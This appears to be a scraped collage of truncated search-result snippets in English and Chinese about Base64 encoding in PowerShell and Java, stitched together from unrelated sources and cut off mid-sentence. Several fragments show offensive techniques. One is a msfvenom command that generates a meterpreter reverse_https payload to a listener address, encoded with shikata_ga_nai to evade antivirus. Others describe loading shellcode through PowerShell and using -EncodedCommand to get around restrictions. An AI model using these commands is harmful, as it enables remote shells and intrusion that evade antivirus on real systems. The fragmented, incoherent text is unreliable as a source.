I particularly liked their entry on how to Base64 encode a file. This is something that I need occassionally and I can never remember how to do it. I was about to include it as-is into my profile and decided that there was a better way to do this. <IMPORTANT POINT> Whenever you a...
UTF_8)); // 再对加密后的二进制数组进行 BASE64 加密 BASE64Encoder base64 = new BASE64Encoder(); String result = base64.encode(hash); // 将二进制SHA-256转换为十六进制字符串 StringBuilder hexString = new StringBuilder(); for (byte b : hash) { String hex = Integer.toHexString(0xff &...
我并不局限于使用Powershell来创建base64编码的字符串。这正是我最熟悉的。 我当前使用的代码: $file = 'C:\zipfile.zip' $filebytes = Get-Content $file -Encoding byte $fileBytesBase64 = [System.Convert]::ToBase64String($filebytes) $fileBytesBase64 | Out-File 'C:\base64encodedString.txt' ...
'0x$& ')# Get the Base64 encodingofthe byte array.[System.Convert]::ToBase64String($bytes)...
6、使用EncodeCommand命令 这和使用"Command"命令非常像,但它为所有的脚本提供了一个Unicode / Base64编码串。通过这种方式加密你的脚本可以帮你绕过所有通过"Command"执行时会遇到的错误。这种技术不会导致配置文件的更改或要求写入磁盘。 例1: 完整的命令 ...
-,PowerShell%20Base64%20Encode%20String,-Let%E2%80%99s%20understand%20with进行编码 $StringMsg = "PowerShell Base64 Encode Example" # Gets the bytes of String $StringBytes = [System.Text.Encoding]::Unicode.GetBytes($StringMsg) # Encode string content to Base64 string...
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题 powershell加载shellcode 3.1 法1:msf-ps1本地执行(VT免杀率18/56) metasploit可以直接生成ps1脚本的payload,这里就先用msf生成一个原生态的ps1木马试一下,不过这个估计被杀软查杀的比较惨了,稍微加了下shikata_ga_nai编码。 用msfvenom生成...
Encode/decode PDF file to/from base64 Encoding Decoding file causes loss of line endings Encoding to Windows-1252 (CP-1252) Encrypt text with RSA Public Key without having an installed Certificate/File. Encrypted password with an AES key doesn't work End of Central Directory record could not ...
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题 2|0powershell加载shellcode 2|1msf-ps1本地执行 加入shikata_ga_nai编码的ps1脚本生成payload: msfvenom-p windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 20 -b '\x00' lhost=192.168.211.147 lport=3333 -f psh...
$encodedCommand = [Convert]::ToBase64String($bytes) echo $encodedCommand 这串代码执行完之后就会打印出编码结果,之后直接执行即可powershell.exe -EncodedCommand $encodedCommand 完整过程如下: 搭建小型HTTP服务器 Powershell搭建HTTP服务器在真实的渗透环境中使用率是较高的,比如说我们需要直接的Get一个文件而使用SM...